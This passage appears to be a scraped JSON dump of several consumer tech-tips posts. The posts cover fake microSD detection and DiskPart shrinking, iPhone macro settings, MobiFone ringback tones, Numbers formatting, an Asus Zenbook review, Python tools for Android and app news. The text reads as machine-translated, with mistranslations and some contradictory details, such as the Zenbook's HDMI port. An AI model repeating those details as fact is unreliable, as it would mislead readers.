memory card has been carefully designed, simulating the design of another \"tech giant\".\n  You should note that Wish.com is not the only site that sells fake microSD memory cards. On eBay or even Amazon, there has been a fake microSD card through a third-party seller program. So be careful when shopping online.\nHow to fake microSD card capacity? Detecting a fake microSD card is not always easy. Fake memory card manufacturers have a lot of experience in copying designs. In addition to the actual product design, the storage capacity of fake microSD cards is also 'made completely'.\nPhishers modify the control device in the microSD memory card to distort the card's storage capacity. When you insert a microSD memory card into the system, it will appear as a 512GB memory card. But once you start writing data to your hard drive, you'll see one of the messages:\nThere is not enough space to write data Current data starts to be overwritten The card hangs or crashes and cannot write data Simply put, these tags endanger your data.\nHow to check fake microSD card If you have purchased a microSD card, you can run through a few tests to find out the actual capacity of the memory card you own. Here are three tools that will help.\n1. FakeFlashTest   FakeFlashTest is a utility that checks the actual capacity of the flash drive. The FakeFlashTest development team also created the USB multiboot tool, RMPrepUSB. There are many fake microSD testing tools, but FakeFlashTest is one of the fastest tools. FakeFlashTest also offers several different tests.\nYou can use the Quick Size Test to quickly determine if the hard drive is fake. The Quick Size Test records and reads 512 bytes in random segments on the hard drive. If the write / read process fails, the result will be displayed in the log. If you like in-depth analysis, the Test Empty Space option will write and read all available space on the hard drive, then compare the difference.\nAs mentioned, FakeFlashTest is the most recent tool on the market and is therefore optimized to perform a real capacity check.\nDownload FakeFlashTest for Windows (Free).\n2. H2testw   H2testw is a tool to support most users, when checking the status of microSD card. However, H2testw has been developed many years ago and with the increase in hard drive capacity today, the main test may take a long time to complete. But that doesn't mean H2testw is a bad tool. Up to now, H2testw is still one of the best options available to check fake memory cards.\nLike FakeFlashTest, H2testw checks free space on the hard drive by writing files to all available space on the device, then re-reading them.\nDownload H2testw for Windows (Free).\n3. ChipGenius   Chip Genius differs from other tools. Instead of writing data to your device and rereading, ChipGenius reads information directly from the flash memory inside the card. Overall, ChipGenius is the fastest option.\nAfter you run ChipGenius, scroll down to detailed information. In this information, it will indicate 'Total Capacity = 16GB', or any actual capacity of your microSD card.\nDownload ChipGenius for Windows (Free).\nAre fake microSD cards completely useless? If you have purchased a fake memory card, you can ask the website to sell the product to refund the money. In case you can't get the money back, an 'comforting' information is a fake microSD card that's not completely useless. When you find the actual size of the card with one of these tools, you can still work with the real memory part on it.\nFix fake MicroSD card with DiskPart DiskPart is an integrated Windows hard drive partition utility. You can run it with Command Prompt and this is an easy way to make fake microSD cards usable.\n1. First, open This PC. Record the hard drive letter of the memory card.\n2. Enter 'command' in the search bar in the Start menu, select the best match, then right-click and select Run as administrator .\n3. Now, type diskpart, then enter the list volume command .\n4. Enter the select volume command [drive letter] . You will now shrink the hard drive to the actual memory size. Please note the following command works in megabytes. For example, if you want to reduce the hard drive size to 1GB, you will enter '1000'.\n5. Enter the shrink desired command [number of megabytes] and press Enter. For example, if you bought a 512GB microSD card but its capacity is really 8GB, you can import ' shrink desired 504000 '. This command will reduce the capacity of 504,000MB (504GB), leaving 8GB of working memory.\nLower your hard drive below the amount of memory that can work. For example, if you have an 8GB drive, use the shrink desired command to reduce it to 7.9GB. Although the hard drive capacity is currently within the actual operating range, the microSD memory card driver remains the same. Therefore, if the 8GB limit is reached, data may start overwriting the hard drive.\nOnce you have settled on the storage, go back to This PC section . Right-click on the microSD memory card and select Format. Wait for the format process to complete and you have a microSD memory card that works normally, with no 512GB capacity as expected, but it is better than nothing.\nAs you can see, there are hundreds of thousands of fake microSD cards on the market. It's easy to find them on the Internet. Do not click on ads that suddenly appear or choose an unreliable online retailer. However, fake microSD cards may also be somewhere in the product catalog of global retail sites. So consider carefully before paying for any items.\nIf you still really need a microSD card, refer to the article: How to choose to purchase a microSD card to upgrade Android memory for helpful advice.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqbKkwIyfmKSdXaK2pL7OrJtmm5GnsQ%3D%3D\n","link":"/post/how-to-detect-fake-microsd-card/","section":"post","tags":null,"title":"How to detect fake microSD card"},{"body":"So if you pay attention, you will notice that the Camera app on new iPhone models tends to automatically switch to Macro mode whenever you bring the lens close to the subject. This can sometimes prevent you from getting the picture you want. This article will show you how to enable Macro Control and disable automatic Macro mode on iPhone.\nWhy does the Camera app on iPhone automatically switch to Macro photography mode? Introduced in iOS 15, Apple's Auto Macro mode adds features to aid in close-up photography on iPhone models with compatible hardware like the 13 Pro and Pro Max. When you're about to take a close-up photo, the iPhone's Camera app will automatically vibrate if you move closer to the subject, indicating that Macro mode has been activated.\nRight now, the app is trying to help you capture more details by activating Auto Macro mode, and switching from a regular wide-angle lens to an ultra-wide lens. Basically, Macro mode is automatically activated when you place the iPhone camera about 14 cm (5.5 inches) away from the subject. However, you can prevent the camera from automatically switching to Auto Macro mode for manual shooting if you wish.\nEnable Macro Control feature on iPhone Your iPhone needs to be running iOS 15.2 or later to use the Macro Control feature, thereby allowing flexible Macro mode to be turned on and off.\nTo get started, launch the 'Settings' app by tapping the gray gear icon on the home screen.\n  On the Settings menu that opens, scroll down and select 'Camera'.\n  The name of the setting screen is 'Camera', scroll down to the bottom of the page and tap the switch that activates the 'Macro Control' feature.\n  You can now close the Settings app and open the Camera app on your iPhone to check. Move your iPhone closer to a subject and you'll notice the camera go into Macro mode. At this point, you will also find a flower icon appear.\n  When this icon shows yellow, it means Macro mode is enabled. Just tap it to turn off Macro mode, and switch back to whatever lens you've used before.\napple iphone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmpJqboqR6rrvDnmSappRirrbAzqyuoqyTnXqwuoyip6Gnnpp6pK3Mnqma\n","link":"/post/how-to-disable-macro-mode-and-auto-switch-on-iphone-camera/","section":"post","tags":null,"title":"How to disable Macro mode and auto-switch on iPhone camera"},{"body":"MobiFone's ringback music service or another name is a ringtone service waiting for Funring, it will help you replace the monotonous and boring song waiting song with your favorite song waiting to create the poison. original Similar to how to register Viettel ringback tones, with MobiFone, you also have 2 ways to register ringback tones through the switchboard 9224 or register to use the service on MobiFone's website. The following article will guide you to register music waiting for MobiFone via switchboard.\nCheck how MobiFone service is registered? Get one month free watching movies with MobiFone subscribers How to shoot money Mobi, Mobifone phone transfer Instructions for registering music waiting for MobiFone via switchboard Step 1: Register to use Funring service\nYou can subscribe to MobiFone ringback tones in one of the following ways:\nWrite a message with the content: DK send to 9224 . Call the switchboard 9224 and follow the instructions. Register directly on the phone: Press * 090 * 1 * 1 # , then press OK . Step 2: Find the song number via the song name\nThere are 2 ways to help you find music waiting for MobiFone:\nCompose a message according to the syntax: TIM TEN name of the song to 9224 . (The operator will text about song names, song codes and rates for you). Visit the website of FunRing ( funring.vn ) to look up codes by song title.   In case, want to get the code of Top 5 songs waiting in the system, write TOP to 9224 .\nStep 3: Download the song as a ringback tone\nWhen you have the pending music code in step 2, you write a message: CHON the song number to 9224 to download as a ringback tone for your phone.\n  Step 4: Copy ringback tones from some other subscribers\nWhen you call a MobiFone subscriber, you suddenly hear a very nice ringback tone, but it is unclear what the song title is, just press 1 # key combination on the phone keyboard then the song immediately ie will be your ringback tone.\nSome notes you need to know:\nCalling and sending sms messages to 9224 is free. Usage fee is 9,000 VND / 30 days, the fee for buying and giving songs depends on each song. To cancel ringback tone service: Compose HUY to 9224 or work on the keyboard * * 090 * 1 * 2 # and then press OK (call key). Giving ringback tones to other subscribers: Write TANG_mode number_SDT received to 9224 (symbol _ is the distance). Delete a song in the collection: Write XOA song number to 9224 With the above information, hope you can register and use Funring Mobifone music waiting service yourself. Wish you success and have an enjoyable experience!\nSee more:\nCreate your own ringtones 10 best online music creation, sharing and listening services Top 5 best free ringtone download websites ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVnLa0wMSrZKuhnpyvoq%2FKZquoppWoeq67waKdqKaV\n","link":"/post/how-to-register-ringback-tones-mobifone/","section":"post","tags":null,"title":"How to register ringback tones MobiFone"},{"body":"Conditional formatting in spreadsheets is a great feature. You only need to condition the values ​​in a cell or group of cells and when those conditions are met, the cells will be marked, formatted as text. If you want to use conditional formatting in Numbers on a Mac, read the following article.\nNote: In Numbers, this feature is called Conditional highlighting.\nHow to use conditional formatting in Numbers Types of data used in conditional formatting Set conditional formatting rules for numbers Set conditional formatting rules for text Set conditional formatting for dates Set conditional formatting rules for time intervals Set conditional formatting for empty cells Types of data used in conditional formatting Before adding rules for conditional formatting, this is a list of the types of data you can use and its corresponding conditions.\nNumber : Equal, not equal, greater than, greater than or equal to, less than, less than or equal to, within and not within. Text : Is, is not, begins with, ends with, contains and does not contain words or phrases. Date : Yesterday, today, tomorrow, in the week / month / year, week / month / year before, week / month / next year. Interval : Options are similar to numbers. Blank data : empty or empty. Set conditional formatting rules for numbers Numbers are the most common data types used in spreadsheets such as simple numbers, money, and percentages. To set conditional formatting for numbers, we will use the product spreadsheet as an example. This data includes numbers for currency, value and inventory.\nSuppose we want to quickly see when the product's inventory is below 50 by coloring these boxes in Numbers. Here's how to set it up:\nStep 1 . Select the cell in the spreadsheet. You can select a group by clicking the first cell and dragging the remaining boxes or selecting the entire column or row.\nStep 2 . Click the Format button on the top right to open the sidebar if you don't see it.\nStep 3 . Select Cell from the top of the sidebar.\nStep 4 . Click Conditional Highlighting .\nStep 5 . Click Add a Rule .\nStep 6 . Choose Numbers\u0026gt; Less than coal .\n  You can now customize your rules in the sidebar to apply conditional formatting. Enter the number (50) in the box according to your conditions (smaller) and then select the format from the drop-down box (red). You will see the changes immediately applied if there are values ​​that meet the conditions. Click Done .\n  Set conditional formatting rules for text Text is also data that is used heavily in spreadsheets. This conditional formatting feature is very handy for teachers or professors who use Numbers to track student grades.\nFor example, in the student's transcript, we want to highlight the boxes where the students receive points F. Follow steps 1 to 5 above but this time we will choose Text and Is .\n  Next, customize your rules in the sidebar. Enter text (F) into the box by condition (text is) and then select your format in the drop-down box (yellow). Again, you will see immediate changes to the conditions that meet the condition. Click Done .\n  Set conditional formatting for dates One of the best ways to use conditional formatting for the day is to highlight the billing due date. For example, we will set rules for all Paid Dates (paid dates) that have passed Due Dates (due date) showing red text.\nFollow steps 1 to 5 above, then select Dates\u0026gt; After the date .\n  To easily set up this rule, instead of entering a value into the box according to conditions, like numbers or text, we will select the cells.\nClick on the button inside the box you will enter the condition value. Then, select the cells that contain the date, next, click on the check mark. Now you can see that all paid dates after the due date will have red text. Click Done .\n  Set conditional formatting rules for time intervals Time may not be the most popular data type in Numbers, but if you manage projects or track tasks, conditional formatting for time periods will be handy and easier to handle.\nThis example will use a simple project management task table. Here, we follow the time people spend on tasks each week. Now, we want to see the days when people spend two or more hours on a single task colored in green. Similarly, follow steps 1 through 5, then select Durations\u0026gt; Greater than or equal to .\n  Now, customize the rule by entering the duration (2 hours) in the box according to your conditions (greater than or equal to) and then selecting the format in the drop-down box (green). Click Done .\n  Set conditional formatting for empty cells Conditional formatting for blank cells is widely used in spreadsheets to search for blank data. For example, if we have a project management worksheet, fill in the blue cells for the blank period. Follow steps 1 to 5, then select Blank\u0026gt; Is blank .\n  Next, simply select the color from the drop down box because there is no value under the condition, then click on Done .\n  You can style yourself for the conditional formatting rules above. When it comes to selecting the format from the drop down box, go to the end and click on Custom Style . You can format the text by italics, bold, underline or dash. In addition, users can use color for text along with colored cells to combine all types of formats to suit their needs.\nFor example, the image below will color and highlight the letters in the box if the value of the cell is 20 USD or greater.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku82doK2hn6OurXnFqKmmmaSptq%2BzjKKlZqaloq%2BmvtJmpqdlnZaw\n","link":"/post/how-to-use-conditional-formatting-in-numbers-on-mac/","section":"post","tags":null,"title":"How to use conditional formatting in Numbers on Mac"},{"body":"With iOS 12 installed iPhone, you can use extremely lovely Apple sticker package for conversations on iMesssage. Follow these steps to use these super cute stickers.\nAlong with GIF images, stickers are the best tool to make your conversations more interesting. With every different emotion, you always have a lot of choices. And recently, Apple has released extremely interesting sticker packs for iOS 12 operating system. You can make the most of it while chatting with iMessage.\nThe WWDC sticker pack has many great options like the classic Mackintosh logo, the blue Apple logo, the unforgettable \"hello\" icon and more. If you want to add \"Apple-Esque\" flavor to the conversation, these icons will help you a lot. Let TipsMake.com guide you to use them.\nNote: You need to install the latest iOS 12 beta version for iPhone.\nHow to use WWDC sticker package in iMessage on iPhone running iOS 12\nStep 1. Open the Messages application (Message) on the iPhone and open any chat\u0026gt; Now, press the camera icon\u0026gt; Next, click on the icon as shown in the bottom left corner.\n  Step 2. Next, touch the Apple icon.\n  Step 3. Now, you can find a special sticker package called WWDC and choose a sticker you want to use. After that, you can drag the sticker at the desired location on the camera.\n  Step 4. Next, touch the 'X' button to exit the WWDC sticker package\u0026gt; press the shutter button to take a photo.\n  Note: You can add a sticker to the captured image.\nStep 5. When done, press the arrow button to send the image.\nIf you are interested in Apple's WWDC event, you can download WWDC here.\nSee more:\niMessage does not receive, send messages, this is a fix \"Secret\" video capture tips on iPhone How to add screen to Control Center on iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq4w8OcZKysmZi4pr6MqKVmoaCdvK%2Bx\n","link":"/post/how-to-use-wwdc-sticker-on-iphone/","section":"post","tags":null,"title":"How to use WWDC sticker on iPhone"},{"body":"INK HUNTER is an application that uses AR technology on the phone to help users to try 'tattooing' virtual tattoos on their bodies to express their personality, show off to friends or see if it is beautiful or not. when deciding on a real tattoo.\nIn INK HUNTER there is a stock tattoo available for users to choose from. Or if you want, you can also draw your own unique pictures right on the app to 'tattoo'.\n  Currently, INK HUNTER is available on both iOS and Android platforms, users can access the link below to download this free app for free.\nINKHUNTER try tattoo designs on the App Store INKHUNTER - try tattoo designs on Google Play How to use INK HUNTER is very simple. You just need to draw a smiley image in the form of 2 parallel lines and 1 perpendicular line like the camera's guide to the position you want to tattoo. Then, point the phone camera (opened INK HUNTER) to that location so that the application can locate and 'tattoo' the picture on you. You can observe the tattoo after 'printing' on your body in many ways and try in many positions to find the best place. In addition, you can also edit the tattoo accordingly.\nSee more:\nPhotoScan, the application that turns images into digital copies from Google owners, invites and experiences There is a fast DNS 1.1.1.1 application for Android and iOS, invite download and experience Facebook launched Lasso, an application that creates short clips copied from Tik Tok ncG1vNJzZmismaXArq3KnmWcp51ktq%2B3jKGsp6yVp3q1tMRmmKmonJ6wosDIqKVmrJiWwW7B0p6qZpmiYsGmr8enpqWnl656tbuMoZylqF2uvLZ506uwZqyRqcGwu9JmmZ6en6eybsDHnmSrnZGherWt062mqA%3D%3D\n","link":"/post/ink-hunter-the-application-that-uses-ar-technology-to-help-you-try-tattoos-before-the-real-tattoo/","section":"post","tags":null,"title":"INK HUNTER, the application that uses AR technology to help you try tattoos before the real tattoo"},{"body":"At a price of $ 1,099 (about 23 million), the Asus Zenbook is an acceptable product and is worth considering to replace the MacBook Air with a much higher price.\nASUS Zenbook UX31 is one of the first ultrabooks on the market. Asus' ultra-thin and light notebook with ultra-high resolution on 13.3-inch screen, 6-hour battery and cheaper price than MacBook Air. Here are the detailed reviews of Zenbook - the first representative for the new laptop generation: ultrabook.\nDesign The UX31 has an impressive design. Made almost entirely of aluminum, the machine for rugged design. The keyboard is also made of aluminum. The edge of the machine is tapered to make the machine feel even thinner than its actual thickness. The corners are also smoothed.\n    The UX31 folding lid is made of dark metal with spiraling circular patterns for a strong feel. You can open the phone with just one hand. The lid is quite loose, but that doesn't affect the overall design of the UX31.\nConnection port, features One drawback of thin computers is the lack of connection ports. All connection ports of the machine are arranged in the back because the machine is designed to thin down gradually. The UX31 has a USB port and a mini-VGA port. The device does not have a built-in HDMI port, but you must buy a separate adapter.\n  Front: no connection port.\n  Back: Same as the front.\n  Left: USB 2.0, headset, card reader.\n  Right: Mini-HDMI, mini-VGA, USB 3.0, charging plug button.\nScreen and speakers Zenbook has 2 options for screen size of 11.6 inches and 13.3 inches. Screen is one of the highlights of Zenbook. Machine for ultra high resolution with 1600 x 900 pixels. Almost notebooks of the same size only offer a resolution of 1366 x 768 pixels.\nThe viewing angle of the screen distorts when viewed from above and below, but when viewed from the left or right, you can be satisfied with the viewing angle of the device. The only downside of the screen is its smooth surface that can create reflections in some ambient lighting conditions.\n        The loudspeaker is arranged in the hinge area. The sound is played towards the screen while the bass is transmitted via the keyboard. Compared to the inferior machine speakers of other notebooks, the Zenbook's speakers offer high volume and decent bass.\nKeyboard and Touchpad The keys on the Zenbook's chiclet keyboard are not cheated in size and smooth surface. The keyboard does not move for a smooth feeling when typing. Unfortunately the keyboard gives poor feedback. The operation of pressing keystrokes is very difficult. You must type quite a strong key to enter the correct character. Poor typing speed as a consequence. Also the keyboard will not have a backlight.\n  The touchpad of the device has a large size, smooth surface. The touchpad gives a high degree of accuracy after being updated with the latest driver, although not as perfect as the MacBook Air. Another weakness is that the touchpad sounds quite loud when clicked.\n  Configuration, performance and Touchpad ASUS Zenbook in the review has the following configuration:\n- 13.3 inch glossy 900p display screen (resolution 1600 x 900)\n- CPU: Intel Core i5-2557M dual core (1.7GHz speed can be up to 2.7GHz if overclocked, 3MB cache, 17W TDP) - Integrated Intel HD graphics card - RAM 4GB DDR3-1333 (cannot be upgraded) - 128 GB SSD hard drive - Bluetooth v4.0 - Integrated webcam - No optical drive - 50Whr polymer battery - Weight: 1.3 kg - Size (length x width): 32.5 x 22.3 cm (thickness from 0.25 to 1.77 cm) - Price: USD 1,099.99\n\u0026gt;\u0026gt; See next page 2\nPerformance, benchmark score UX31 uses Intel's low-voltage dual-core i5 processor. Combined with 4 GB of RAM, the processor smooths all common tasks, as well as heavier applications like Photoshop. The benchmark results show that a 128 GB SSD drive has a slightly lower write speed, but that is also very high compared to any type of hard drive.\nThe Zenbook also features other highlights such as the slim, light size but offers a super high resolution of 1600 x 900 pixels. One point worth noting is that you will not be able to upgrade anything for the device of the device. So if you need a larger storage capacity, for example, you have no choice but to buy an external hard drive.\nThe result ' matches' wPrime speed (lower score is better):\n  PCMark Vantage score (higher score than higher performance):\n  PCMark 7 score (better score higher):\n  3Dmark06 score (higher point for higher performance):\n  Results of hard drive performance test with CrystalDiskMark:\n  Heat, noise The UX31 cooling system is designed deep inside and vented through hinges. Heat radiates onto the screen surface. Overall, the cooling system works fine.\nBattery life Battery powered 50Wh polymer cannot be removed without a dedicated tool. Other parts of the machine are similar. When testing with the screen brightness of 70%, activate the wireless network, refresh every 1 minute after refreshing the web page, the device gives 6 hours 21 minutes of battery life. Therefore, if you use the device in normal conditions, it can reach 6 hours of battery life - an impressive time, on par with rivals including the MacBook Air.\nConclude Good quality design and quality. The thinness and lightness of the Zenbook is extremely impressive. With 13.3-inch screen, resolution of 1600 x 900 pixels is extremely impressive. Speakers for good sound quality and 6-hour battery life are also the highlights of the Zenbook.\nThe weakness of the device is on the keyboard and trackpad and you will have time to be able to use these 2 parts fluently. In addition, the trackpad is quite noisy and the accuracy is not perfect. Another point you should keep in mind is that the machine cannot upgrade any more and there are too few connections.\n* Strengths :\n- Outstanding design and performance.\n- Screen for extremely high resolution.\n- Battery is tough (about 6 hours).\n* Weakness:\n- Keyboard and touchpad are normal.\n- Keyboard without backlight.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZpmjqsBuxsSnmainm2LCuX%2BQ\n","link":"/post/review-asus-zenbook-ux31/","section":"post","tags":null,"title":"Review ASUS Zenbook UX31"},{"body":"Python in the process of development always proves itself to be a high-level language with strong adaptability. Python can be simple, easy to learn, extremely suitable for beginners, but also very effective and powerful in the hands of experts. Android is an open and easy-to-access operating system, so if you want to become an application developer then it's a good idea to start from Python.\n  Using Python will be one of the fastest ways to get started and test some simple code on Android. Further, when you are familiar with it, you can upgrade your phone with the unique features you only have and can even build a full APK.\nThere are several ways to use Python on Android.\n1. BeeWare BeeWare is a collection of tools for building root applications for the user interface.\n  This is what BeeWare offers:\nThe tool allows Python to run on different devices. Python package help tool for the project to run on different devices. Library and support code needed to run programs on iOS, Android, macOS, Linux, Windows, tvOS and more. Tools to help develop, debug, analyze and deploy these projects. Not only that, BeeWare is also a publicly available product (Open source), proving itself to be a powerful and reliable software. All BeeWare tools are licensed with BSD (Berkeley Software Distribution License). Try BeeWare, it's ready for you to use \u0026gt;\u0026gt; available for all to use and modify.\n2. Chaquopy Chaquopy is a plugin for the Gradle-based build system of Android Studio.\n  Chaquopy allows you to use Java and Python alternately, using the language most suitable for your application.\nWith Python API, you can write part or whole application in Python. The Android UI and API toolkit will be completely complete at your disposal. Chaquopy works in Android's standard build system (Android's standard build system):\nIf you use Android Studio, you can start using Chaquopy in 5 minutes without changing your current programming process. Download and install automatically through Gradle. 3. Kivy Kivy which is a multi-platform OpenGL user interface toolkit.\n  You can run Kivy on Android, or on any device with OpenGL ES 2.0 (at least Android 2.2). Google reports applications that meet 99.9% of devices.\nAPK Kivy is the usual Android application that you can share like any other application, including on app stores like CH Play. They work normally even when paused or restarted. They can also use Android services and have access to most regular Java APIs.\nKivy also provides all the tools needed to pack your application on Android, including your own APK being shared on CH Play.\nKivy allows you to create Android apps with full functionality, multitouch, graphics and more.\n4. Pyqtdeploy Pyqtdeploy is a tool to deploy PyQt applications. It supports deployment for desktop platforms (Linux, Windows and OS X) and mobile platforms (iOS and Android). Pyqtdeploy is licensed with BSD (Berkeley Software Distribution License)\nPyqtdeploy works by taking individual modules of a PyQt application, freezing them, and then placing them into a source Qt file converted into C ++ code using Qt's rcc tool. Python's standard library (Python standard library) is also handled in this way.\nPyqtdeploy creates a Qt file, in the .pro format, describing all C ++ code created. Qt's qmake tool will create a specific platform Makefile, thereby creating a single executable file. Furthermore, Qt and platform definition tools can be used to convert executable files to other platforms.\nTo install pyqtdeploy you need to have PyQt5 and Python v3.2 or higher.\nPyqtdeploy supports PyQt4 and PyQt5 applications written in Python v2.6 and above and Python v3.3 and above.\n5. QPython QPython is a script building tool and test them on your Android device almost instantly.\n  QPython can also help developers develop Android applications.\nAfter downloading and installing QPython3, you have an environment to start programming. You can load scripts from here and later to be useful when you create your own native apps, for example, you can create some basic tools for doing math and tools. learning tests, or tools for storing and retrieving data . It's completely in your hands.\n6. SL4A SL4A (Scripting Layer For Android) , originally named ASE (Android Scripting Environment), is a library that helps write scripts on the Android platform.\n  SL4A allows you to edit, execute scripts and interactive interpreters directly on Android devices. These scripts have access to many APIs available for official Android applications, but with a simplified interface that is easy to use.\nSL4A is designed for programmers and is the best quality software.\n7. PySide PySide is a Python binding of the Qt GUI multi-platform toolkit (Graphical User Interface).\n  PySide provides Python binding and LGPL license (GNU Lesser General Public License) for Qt 4. It also includes a complete series of tools to create fast bindings for any C ++ class hierarchy based on Qt. PySide Qt constraints allow the development of free and proprietary open source software to support Qt platforms.\nIn general, there are many programs and useful tools that can be used to develop Android in Python. Which option is appropriate depends on your work style and purpose. Hopefully the list above will give you a basic view of Python development tools on Android. Please choose the right tool for you.\nSee more:\nProgramming Python on Android device The best tools for Android developers Top 20 free programming learning websites need to bookmark immediately! ncG1vNJzZmismaXArq3KnmWcp51kwLC5xGarqKecqHqzwc1mp7KsmKS7brvNZpinnKKktqU%3D\n","link":"/post/some-tools-run-python-on-android/","section":"post","tags":null,"title":"Some tools run Python on Android"},{"body":"The rare thing is that although he is very studious and likes to learn new things, Mr. Ly still has his own judgments, not indiscriminately believe in false rumors. \" The web is growing now, news is everywhere, but he has his own judgment, not indiscriminately believing in bullshit rumors .\", \"He likes to think about problems, Every day, he asks why many times, Baidu (an application similar to Google) is a great help for him \" .\nAccording to Mr. Li, the development society, people live to grow old to learn old, learn more for themselves new knowledge, less interested in negative news, so they can be optimistic, happy every day. .\n What? Why? Everyday I like to ask \"baidu\"\nIn the first month of spring, although the epidemic has not completely ended, but for those in the nursing home like Mr. Li said, life is still a simple, quiet and safe as always. day. When the correspondent of Guangzhou Daily newspaper came to Mr. Ly, he was lying there leisurely, enjoying himself at music, Beethoven, Mozart . These are the musicians that Mr. Li likes the most.\nMr. Li told reporters that in 2015 he unfortunately fell down, making everyday life a bit difficult, so he signed up to the nursing home in, since then has been 5 years.\nBecause of the plague, in the immediate future, the nursing home is still in a closed state, but this does not affect the lives of the men and women here. Every day at the hospital, in addition to daily sleep and food activities, Mr. Ly still talks to others, and regularly watches the news and read the news online.\n\"Actually his biggest hobby is ancient poetry, he likes to read, like to memorize, like to discuss poetry . \" In Mr. Li's daily life, whether watching TV, going online to read news or talking, the \"main character\" in his heart was always ancient poetry.\nWhile listening to Mr. Li recite poetry, the reporter could not help but be impressed by his erudition, optimism, and open personality.\nThe reporter later found out, Li's favorite newspaper is \"Reference Information\", his favorite channel is China Central Television, educational news channel or programs. about ancient poetry. The name of the television program, even the name of each MC, Mr. Li is as clear as the palm of his hand.\n Mr. Li is 103 years old\n\"BRT, GDP, APP, but this, you all know it!\"\nWhat admired the staff and the grandparents in the hospital was Mr. Lee's extremely strong energy and learning spirit. Manager Phung Na told reporters, Mr. Li is an extremely self-conscious, disciplined, calm, very calm handling. Especially the ability to learn, lifelong constantly learning, learning new things, acquiring many new concepts. Every time he encountered a new word or thing, he would go into research.\n\" In the past, you had three dharmas: the world map, the idiom dictionary and the Xinhua dictionary, but now that science and technology has developed, your son has taught you how to use computers and phones, something you don't understand. he will go to the phone to find out, now most of the time he uses his phone to study, so the phone is an object of separation, \"Mr. Li said.\n\"Study more, think more, bullshit will laugh except for\"\nMr. Li's two sons, one from a foreign country, the other a lecturer at Jinan University, Guangzhou, the three often use video calls to talk to each other.\nEven the newly appeared nouns, Mr. Li not only gladly received but also actively used the phone to look up.\nHe told reporters that in recent years there are many English abbreviations, which people use but do not know what they mean, in fact it involves a lot of knowledge. \" For example, BRT, people sit every day, but don't know its Chinese name for express train station; GDP, every day people see numbers on television, watch how much increase? How much reduction? But where is the increase? Where is the decrease? And the APP in the phone, what is it? Your old friends use it every day but don't know if it is an application on the phone . \"\n He shared the secret of his long and healthy life is the phone\nTalking about the plague this time, Mr. Li is very serious. \" The World Health Organization WHO calls this plague a new strain of pneumonia, the English name is Covid-19, COVI is the English abbreviation of the corona virus, and D is the first letter of the word disease. in English, 2019 represents the first year of discovery or reporting. \" Mr. Lee shows his solid expertise.\nWhen it comes to Mr. Li's past, everyone praised him as an \"almighty\" person. From 1934 to 1938, Mr. Lee attended the Economics Department of Tsinghua University, one of the top universities in China, then transferred to Kunming Southwest University because the school was occupied by Japan. After graduating in 1940, he worked through various occupations \"Perhaps because working in many different professions, learning a lot, asking a lot, naturally, he will have his three views, his own judgment\". Mr. Li said.\nReporters during the interview discovered that, although not leaving the phone and computer, like to read all kinds of news, Mr. Li has never been wavered by unfounded rumors.\nIn Mr. Ly's phone, there are many chat groups, elementary groups, high school and university groups, and the Thanh Hoa student group. Every day there is a lot of news, he said: \" Thanks to the development of science but now the Internet becomes popular, there is news of any kind, but also very irresponsible news. automatically brain, just call it said, not blindly believe. \"\n Talking about nursing issues, living a long time, Mr. Li did not over-emphasize this issue. For him, the modern living standard is getting higher and higher, almost everyone has focused more on the issue of nursing, living to a hundred years old is not too difficult, \" the life of the old owner it is essential to have discipline, brainstorm a lot, live to grow old to grow old, that's why we can keep up with the times. \"\nInterestingly, even the secret to his long life, Mr. Li also attributed to the phone \" has a phone, although you can not meet face to face, but you can still see each other over the phone, can know a lot of information every day, care about positive inspirational stories, the natural mood will always be happy, youthful \".\nncG1vNJzZmismaXArq3KnmWcp51kwamxjGpnbLGVlr%2BwuMNmpqWcXaKur3nGqJysZaSkerW0xGagp6yVp7umwIyerZ6qqWKxosWMmqWdZaOdrrOx0mafoqtdqLKkvsStZK2nXZZ6rbvNoGSloZaaerCyjJ%2Bsp2WRYrCmuMtmp6Gnnpo%3D\n","link":"/post/the-103-year-old-old-man-goes-to-the-internet-every-day-and-shares-his-secret-to-a-long-life-of-fun-a-cell-phone/","section":"post","tags":null,"title":"The 103-year-old old man goes to the internet every day and shares his secret to a long life of fun ... a cell phone"},{"body":"Currently, many smartphones are equipped with Time-of-Flight camera (ToF) to increase the ability to remove fonts when taking photos. However, a new application called Night Vision will help the smartphone's ToF camera read data about the depth of the environment and create 3D maps of the environment, or simply understand the ability to see through night.\nYou may not know, Time-of-Flight camera (ToF), is a 'shortened' version of the sonar scanner - the type of scanner commonly used to detect objects and measure below the water surface. The camera will emit infrared beams, which will affect physical objects and then reflect back on the hardware. Based on the measured parameters of the travel time of the infrared beam escaping from the sensor and returning to create a 3D map, which best represents the subject image.\nAccording to XDA Developer, the Night Vision application currently only works with smartphones that support Camera2 API. Therefore, the Galaxy S10 5G, even with the ToF camera, cannot use Night Vision.\n  The video below captures the Night Vision testing process with ToF camera on Huawei P30 Pro to create a 3D map of your room. You can still see details inside the room even though it's dark.\nDownload link:\nNight Vision Another application is also very interesting when combining the ToF camea and AR technology so you can interact with the environment. However, this app has a high price of 100USD, if you are interested, you can download the free version for trial and experience under the link below.\nToF + AR application: 3D Reconstruction for ARCore (Android only) - Asset Store Warning: FaceApp, the hot face change application for young people, contains a hidden danger Dangerous application that can \"penetrate\" women's clothing in seconds has been removed ncG1vNJzZmismaXArq3KnmWcp51kwam10maYqaicnrCiwMiopWabkaN6qbHLqWSspZGnwbG0zqecrGWnnsGpedOonWabkaKys63SZqqenV2ptbO71KCfZqyYmnqvtcahqw%3D%3D\n","link":"/post/this-application-can-help-smartphones-with-tof-cameras-see-through-the-night/","section":"post","tags":null,"title":"This application can help smartphones with ToF cameras see through the night"},{"body":"Some are rewards for playing a specific season, others are rewards for reaching gold or more. League of Legends always knows how to promote to make players feel like they have to get one of those rare skins to make other gamers jealous. Let's explore the following list of the rarest skins in League of Legends.\nUrfwick   The Urfwick skin was originally planned as an April Fool's Day costume and essentially consisted of a werewolf in a manatee costume. This type of skin, in addition to being rare, is also one of the most expensive, although it does have a few discounts from time to time. Interestingly, the proceeds from the Urfwick skin are actually donated to an organization that helps prevent manatee poaching.\nPumpkinhead Fiddlesticks Pumpkinhead 